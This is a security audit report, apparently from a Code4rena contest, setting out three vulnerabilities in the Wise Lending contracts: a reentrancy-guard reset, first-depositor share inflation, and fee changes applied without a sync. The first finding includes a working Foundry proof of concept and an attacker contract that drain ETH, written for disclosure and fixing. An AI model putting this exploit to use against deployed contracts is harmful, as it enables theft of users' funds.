Wise Lending - 0xCiphky's results

Lines of code

https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/WiseLending.sol#L97 https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/WiseLending.sol#L275 https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/WiseLending.sol#L636 https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/WiseLending.sol#L49 https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/TransferHub/SendValueHelper.sol#L12 https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/WiseLending.sol#L681 https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/FeeManager/FeeManager.sol#L730

Vulnerability details

Vulnerability Details:

The WiseLending contract incorporates a reentrancy guard through its syncPool modifier, specifically within the _syncPoolBeforeCodeExecution function. This guard is meant to prevent reentrancy during external calls, such as in the withdrawExactAmountETH function, which processes ETH withdrawals for users.

However, there is currently a way to reset this guard, allowing for potential reentrant attacks during external calls. The WiseLending contract includes a receive function designed to automatically redirect all ETH sent directly to it (apart from transactions from the WETH address) to a specified master address.

To forward the ETH the _sendValue function is used, here the sendingProgress variable (which is used for reentrancy checks) is set to true to denote the start of the transfer process and subsequently reset to false following the completion of the call.

    function _sendValue(
        address _recipient,
        uint256 _amount
    )
        internal
    {
        if (address(this).balance < _amount) {
            revert AmountTooSmall();
        }

        sendingProgress = true;

        (
            bool success
            ,
        ) = payable(_recipient).call{
            value: _amount
        }("");

        sendingProgress = false;

        if (success == false) {
            revert SendValueFailed();
        }
    }

As a result, an attacker could bypass an active reentrancy guard by initiating the receive function, effectively resetting the sendingProgress variable. This action clears the way for an attacker to re-enter any function within the contract, even those protected by the reentrancy guard.

Having bypassed the reentrancy protection, let's see how this vulnerability could be leveraged to steal funds from the contract.

The withdrawExactAmountETH function allows users to withdraw their deposited shares from the protocol and receive ETH, this function also contains a healthStateCheck to ensure post withdrawal a users position is still in a healthy state. Note that this health check is done after the external call that pays out the user ETH, this will be important later on.

The protocol also implements a paybackBadDebtForToken function that allows users to pay off any other users bad debt and receive a 5% incentive for doing so.

To understand how this can be exploited, consider the following example:

• User A deposits 1 ETH into the protocol
• User A borrows 0.5 ETH
• User A calls withdrawExactAmountETH to withdraw 1 ETH
  • User A reenters the contract through the external call
    • User A resets the reentrancy guard with a direct transfer of 0.001 ETH to the WiseLending contract.
    • Next, User A calls the paybackBadDebtForToken function to settle their own 0.5 ETH loan, which, due to the withdrawal, is now classified as bad debt. This not only clears the debt but also secures 0.5 ETH plus an additional incentive for User A.
  • With the bad debt cleared, the healthStateCheck within the withdrawal function is successfully passed.
• Consequently, User A manages to retrieve their initial 1 ETH deposit and gain an additional 0.5 ETH (plus the incentive for paying off bad debt).

Proof Of Concept

Testing is done in the WiseLendingShutdownTest file, with ContractA imported prior to executing tests.

// import ContractA
import "./ContractA.sol";
// import MockErc20
import "./MockContracts/MockErc20.sol";

contract WiseLendingShutdownTest is Test {
    ...
    ContractA public contractA;

    function _deployNewWiseLending(bool _mainnetFork) internal {
        ...
        contractA = new ContractA(address(FEE_MANAGER_INSTANCE), payable(address(LENDING_INSTANCE)));
        ...
    }

    function testExploitReentrancy() public {
        uint256 depositValue = 10 ether;
        uint256 borrowAmount = 2 ether;
        vm.deal(address(contractA), 2 ether);

        ORACLE_HUB_INSTANCE.setHeartBeat(WETH_ADDRESS, 100 days);

        POSITION_NFTS_INSTANCE.mintPosition();

        uint256 nftId = POSITION_NFTS_INSTANCE.tokenOfOwnerByIndex(address(this), 0);

        LENDING_INSTANCE.depositExactAmountETH{value: depositValue}(nftId);
        LENDING_INSTANCE.borrowExactAmountETH(nftId, borrowAmount);

        vm.prank(address(LENDING_INSTANCE));
        MockErc20(WETH_ADDRESS).transfer(address(FEE_MANAGER_INSTANCE), 1 ether);

        // check contractA balance
        uint ethBalanceStart = address(contractA).balance;
        uint wethBalanceStart = MockErc20(WETH_ADDRESS).balanceOf(address(contractA));
        //total
        uint totalBalanceStart = ethBalanceStart + wethBalanceStart;
        console.log("totalBalanceStart", totalBalanceStart);

        // deposit using contractA
        vm.startPrank(address(contractA));
        LENDING_INSTANCE.depositExactAmountETHMint{value: 2 ether}();
        vm.stopPrank();

       FEE_MANAGER_INSTANCE._increaseFeeTokens(WETH_ADDRESS, 1 ether);
        
        // withdraw weth using contractA
        vm.startPrank(address(contractA));
        LENDING_INSTANCE.withdrawExactAmount(2, WETH_ADDRESS, 1 ether);
        vm.stopPrank();

        // approve feemanager for 1 weth from contractA
        vm.startPrank(address(contractA));
        MockErc20(WETH_ADDRESS).approve(address(FEE_MANAGER_INSTANCE), 1 ether);
        vm.stopPrank();

        // borrow using contractA
        vm.startPrank(address(contractA));
        LENDING_INSTANCE.borrowExactAmount(2,  WETH_ADDRESS, 0.5 ether);
        vm.stopPrank();

        // Payback amount
        //499537556593483218

        // withdraw using contractA
        vm.startPrank(address(contractA));
        LENDING_INSTANCE.withdrawExactAmountETH(2, 0.99 ether);
        vm.stopPrank();

        // check contractA balance
        uint ethBalanceAfter = address(contractA).balance;
        uint wethBalanceAfter = MockErc20(WETH_ADDRESS).balanceOf(address(contractA));
        //total
        uint totalBalanceAfter = ethBalanceAfter + wethBalanceAfter;
        console.log("totalBalanceAfter", totalBalanceAfter);
        uint diff = totalBalanceAfter - totalBalanceStart;
        assertEq(diff > 5e17, true, "ContractA profit greater than 0.5 eth");
    }

// SPDX-License-Identifier: -- WISE --

pragma solidity =0.8.24;

// import lending and fees contracts
import "./WiseLending.sol";
import "./FeeManager/FeeManager.sol";

contract ContractA {
    address public feesContract;
    address payable public lendingContract;

    address constant WETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;

    constructor(address _feesContract, address payable _lendingContract) payable {
        feesContract = _feesContract;
        lendingContract = _lendingContract;
    }

    fallback() external payable {
        if (msg.sender == lendingContract) {
            // send lending contract 0.01 eth to reset reentrancy flag
            (bool sent, bytes memory data) = lendingContract.call{value: 0.01 ether}("");
            //paybackBadDebtForToken
            FeeManager(feesContract).paybackBadDebtForToken(2, WETH_ADDRESS, WETH_ADDRESS, 499537556593483218);
        }
    }
}

Impact:

This vulnerability allows an attacker to illicitly withdraw funds from the contract through the outlined method. Additionally, the exploit could also work using the contract's liquidation process instead.

Tools Used:

• Manual analysis
• Foundry

Recommendation:

Edit the _sendValue function to include a reentrancy check. This ensures that the reentrancy guard is first checked, preventing attackers from exploiting this function as a reentry point. This will also not disrupt transfers from the WETH address as those don’t go through the _sendValue function.

    function _sendValue(
        address _recipient,
        uint256 _amount
    )
        internal
    {
        if (address(this).balance < _amount) {
            revert AmountTooSmall();
        }

	_checkReentrancy(); //add here

        sendingProgress = true;

        (
            bool success
            ,
        ) = payable(_recipient).call{
            value: _amount
        }("");

        sendingProgress = false;

        if (success == false) {
            revert SendValueFailed();
        }
    }

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/PowerFarms/PendlePowerFarmController/PendlePowerFarmToken.sol#L682 https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/PowerFarms/PendlePowerFarmController/PendlePowerFarmToken.sol#L529 https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/PowerFarms/PendlePowerFarmController/PendlePowerFarmToken.sol#L452 https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/PowerFarms/PendlePowerFarmController/PendlePowerFarmToken.sol#L502 https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/PowerFarms/PendlePowerFarmController/PendlePowerFarmToken.sol#L334 https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/PowerFarms/PendlePowerFarmController/PendlePowerFarmToken.sol#L386 https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/PowerFarms/PendlePowerFarmController/PendlePowerFarmToken.sol#L114

Vulnerability details

Vulnerability Details:

The PendlePowerFarmToken contract is initialized through the initialize function, during which the _totalSupply and underlyingLpAssetsCurrent are initially assigned a value of 1.

    function initialize(
        ...
    )
        external
    {
        ...
        lastInteraction = block.timestamp;

        _totalSupply = 1;
        underlyingLpAssetsCurrent = 1;
        mintFee = 3000;
        INITIAL_TIME_STAMP = block.timestamp;
    }

Users can make deposits into the LP through the depositExactAmount function, which relies on the previewMintShares function to calculate the number of shares a user will receive based on the specified _underlyingLpAssetAmount. The calculation of shares is performed using the following formula:

• previewMintShares = _underlyingAssetAmount x totalSupply / _underlyingLpAssetsCurrent

Therefore, for the first depositor, given that totalSupply and _underlyingLpAssetsCurrent were initially set to one, it might seem that they would receive a one-to-one ratio. However, this initial assumption could be misleading and may result in the user receiving a less favorable rate.

The contract includes an addCompoundRewards function, allowing any user to add rewards. The amount input through this function is initially added to the totalLpAssetsToDistribute. This totalLpAssetsToDistribute amount is then incorporated into the contract whenever the syncSupply modifier is triggered, which happens during deposits.

Looking closer at the syncSupply mechanism, specifically the _syncSupply() function, it increases the underlyingLpAssetsCurrent with the amount calculated by the previewDistribution function. Although there's a limitation on the increase to underlyingLpAssetsCurrent, a minimum addition of 604799 can be guaranteed, from the following check.

        if (totalLpAssetsToDistribute < ONE_WEEK) {
            return totalLpAssetsToDistribute;
        }

Revisiting the scenario of the first deposit, given the adjustment where the underlyingLpAssetsCurrent has been updated to 604800 and the totalSupply remains at one, let's consider the situation where the first user decides to deposit an amount of 1e18:

• previewMintShares = _underlyingAssetAmount x totalSupply / _underlyingLpAssetsCurrent
• previewMintShares = 1e18 x 1 / 604800 = 1653439153439

In comparison, a one-to-one ratio would have equated to 1e18 shares, indicating a significant discrepancy from the expected outcome.

Additionally, the lack of an option for users to set slippage limits within the depositExactAmount function makes it challenging to avoid this issue.

NOTE: There's a safeguard in the syncSupply process, specifically through the _validateSharePriceGrowth check, aimed at preventing excessive inflation of the share price. However, because the compound rewards are added prior to the calculation of the initial share price, this is not effective here for the amounts above.

Impact:

Severity: The initial and early depositors are at risk of receiving significantly less favorable rates due to the situation above. Without the capability to set a minimum slippage threshold, this situation could lead to potential losses for these users or discourage them from making deposits altogether.

Likelihood: Since the addCompoundRewards function lacks any form of access control, any user has the capability to execute this attack. Moreover, due to the initial low ratio of 1:1, even a minimal input can lead to significant discrepancies, potentially resulting in substantial losses for early depositors.

Tools Used:

Manual analysis

Recommendation:

The core issue stems from the very low initial values assigned to _totalSupply and underlyingLpAssetsCurrent, both set at one, which leaves the system vulnerable to manipulation. To counteract this, initialize these values at higher numbers.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/FeeManager/FeeManager.sol#L135 https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/FeeManager/FeeManager.sol#L108 https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/WiseLending.sol#L97 https://github.com/code-423n4/2024-02-wise-lending/blob/79186b243d8553e66358c05497e5ccfd9488b5e2/contracts/MainHelper.sol#L500

Vulnerability details

Vulnerability Details:

The FeeManager contract allows the master address to modify the pool fee, this can be done to a single pool using the setPoolFee function or multiple pools at once using the setPoolFeeBulk function. This fee is used in the the syncPool modifier, specifically the _updatePseudoTotalAmounts function which updates the interest amounts of the borrow and lending pools.

    function setPoolFee(
        address _poolToken,
        uint256 _newFee
    )
        external
        onlyMaster
    {
        _checkValue(
            _newFee
        );

        WISE_LENDING.setPoolFee(
            _poolToken,
            _newFee
        );

        emit PoolFeeChanged(
            _poolToken,
            _newFee,
            block.timestamp
        );
    }

The issue is that the setPoolFee function modifies the pool fee without invoking the syncPool modifier beforehand. Consequently, the next sync operation incorrectly applies the updated pool fee to the period between the previous call and the change in the pool fee. Although the impact of changing the fee for a single pool may be minimal, using the setPoolFeeBulk function to alter fees for multiple pools could have a bigger impact.

Impact:

Severity: Medium. Depending on whether the pool fee is increased or decreased, the protocol or its users may end up paying additional fees or receiving reduced fees.

Likelihood: Low. This situation arises solely in instances where there is a change in the pool fee.

Tools Used:

Manual analysis

Recommendation:

Add the following code to update fees accurately before implementing changes.

    function setPoolFee(
        address _poolToken,
        uint256 _newFee
    )
        external
        onlyMaster
    {
	WISE_LENDING.syncManually(_poolToken); //add here
		    
        _checkValue(
            _newFee
        );

        WISE_LENDING.setPoolFee(
            _poolToken,
            _newFee
        );

        emit PoolFeeChanged(
            _poolToken,
            _newFee,
            block.timestamp
        );
    }

Assessed type

Context